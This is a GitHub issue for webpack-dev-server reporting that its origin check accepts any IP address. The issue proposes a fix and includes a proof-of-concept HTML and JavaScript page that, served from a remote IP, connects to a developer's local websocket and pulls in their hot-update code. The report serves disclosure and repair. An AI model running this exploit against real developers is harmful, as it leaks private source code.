Missing Origin Validation, for IP addresses #1618

carlosgeos · 2019-01-03T00:33:04Z

Operating System: Hannah Montana Linux
Node Version: v11.6.0
NPM Version: 6.5.0
webpack Version: 4.17.1
webpack-dev-server Version: 3.1.14

This is a bug
This is a modification request

Hello 😄 !!! This issue is intended to build on top of #1603

Code

Just check https://github.com/webpack/webpack-dev-server/blob/v3.1.14/lib/Server.js, especially the checkHost method and this snippet:

webpack-dev-server/lib/Server.js

Lines 751 to 757 in 4b7a828

    
           if (!this.checkHost(connection.headers) || !this.checkHost(connection.headers, 'origin')) { 
        
             this.sockWrite([ connection ], 'error', 'Invalid Host/Origin header'); 
        
             connection.close(); 
        
             return; 
        
           }

Expected Behavior

No remote application opened in a browser should be able to connect to the local websocket server with new WebSocket(). Only localhost, this.hostname, this.publicHost, etc should.

Actual Behavior

If a developer visits a site/app (without domain, just an IP address), this site/app could contain some JS code that connects to the local websocket server to listen for changes, obtain the hash of the hot update, get the update etc, basically what is described in https://www.npmjs.com/advisories/725.

The origin check will pass because the checkHost method contains this:

webpack-dev-server/lib/Server.js

Lines 677 to 679 in 178e6cc

    
           if (ip.isV4Format(hostname) || ip.isV6Format(hostname)) { 
        
             return true; 
        
           }

and this method is used to check the origin as well.

It was decided that all IP's are OK in the host header in #1007 because they are not vulnerable to DNS rebind attacks etc. It allows people to have development setups in a LAN, let other people check their code running in the dev server etc. (which is useful, and a nice feature) WITHOUT specifying the public option, just the host: '0.0.0.0' option. This is actually another problem.

For Bugs; How can we reproduce the behavior?

This is how any website not using a domain name can connect to your local websocket server:

Take any remote machine xxx.xxx.xxx.xxx. Serve the following:

<!-- index.html -->
<html>
  <body>
    <p>Hello im the attacker !</p>
    <script src="./index.js"></script>
  </body>
</html>

// index.js
window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
            console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/sockjs-node/123/456/websocket`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event);
    if (event.data.match('hash')) {
        s = document.createElement('script');
        s.src = `${target}main.${currentHash}.hot-update.js`;
        document.body.appendChild(s)
        r = event.data.match(/"([0-9a-f]{20})\\"/);
        // This will actually be the hash for the next update
        currentHash = r[1];
    }
}

Then have webpack-dev-server + HMR running some application of your own locally.
Visit xxx.xxx.xxx.xxx
Make a few changes to your application. You will see the changes on xxx.xxx.xxx.xxx.

The solution and the problem

I've already implemented some solutions to this, I can submit a PR but I need feedback before.
There would be a new method checkOrigin that does this task. Or even better keep checkHost for everything but remove the automatic validation of any IP introduced in #1007 ! (which actually solves two problems).

This will make people use the public option, since right now, having ONLY host: '0.0.0.0' is enough to serve externally (if accessing with an IP). This comment by @sokra (here #882 (comment)) suggests it is bad usage and the docs indicate the public option should be used: https://github.com/webpack/webpack-dev-server/blob/master/examples/cli/public/README.md

To summarise, in case of a PR being merged:

If someone is just using localhost to develop

Nothing changes. They will have a tiny bit of extra security.

If someone is using several computers on a LAN or showing people in their LAN their dev server

They would have to look for their private IP, e.g. 10.0.0.10 or 192.168.0.100 and put it in the public option, like it was intented from the beginning.

If webpack-dev-server is running on `mydevmachine.dev`

The public option should already be set so no problem. This issue is only about IP addresses.

Some other complex setup with proxies, redirects, etc:

I haven't thought about everything, but the PR shouldn't break things. It might even help !

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Missing Origin Validation, for IP addresses #1618

Missing Origin Validation, for IP addresses #1618

carlosgeos commented Jan 3, 2019

alexander-akait commented Jan 4, 2019

Missing Origin Validation, for IP addresses #1618

Missing Origin Validation, for IP addresses #1618

Comments

carlosgeos commented Jan 3, 2019

Code

Expected Behavior

Actual Behavior

For Bugs; How can we reproduce the behavior?

The solution and the problem

If someone is just using localhost to develop

If someone is using several computers on a LAN or showing people in their LAN their dev server

If webpack-dev-server is running on mydevmachine.dev

Some other complex setup with proxies, redirects, etc:

Related links:

alexander-akait commented Jan 4, 2019

If webpack-dev-server is running on `mydevmachine.dev`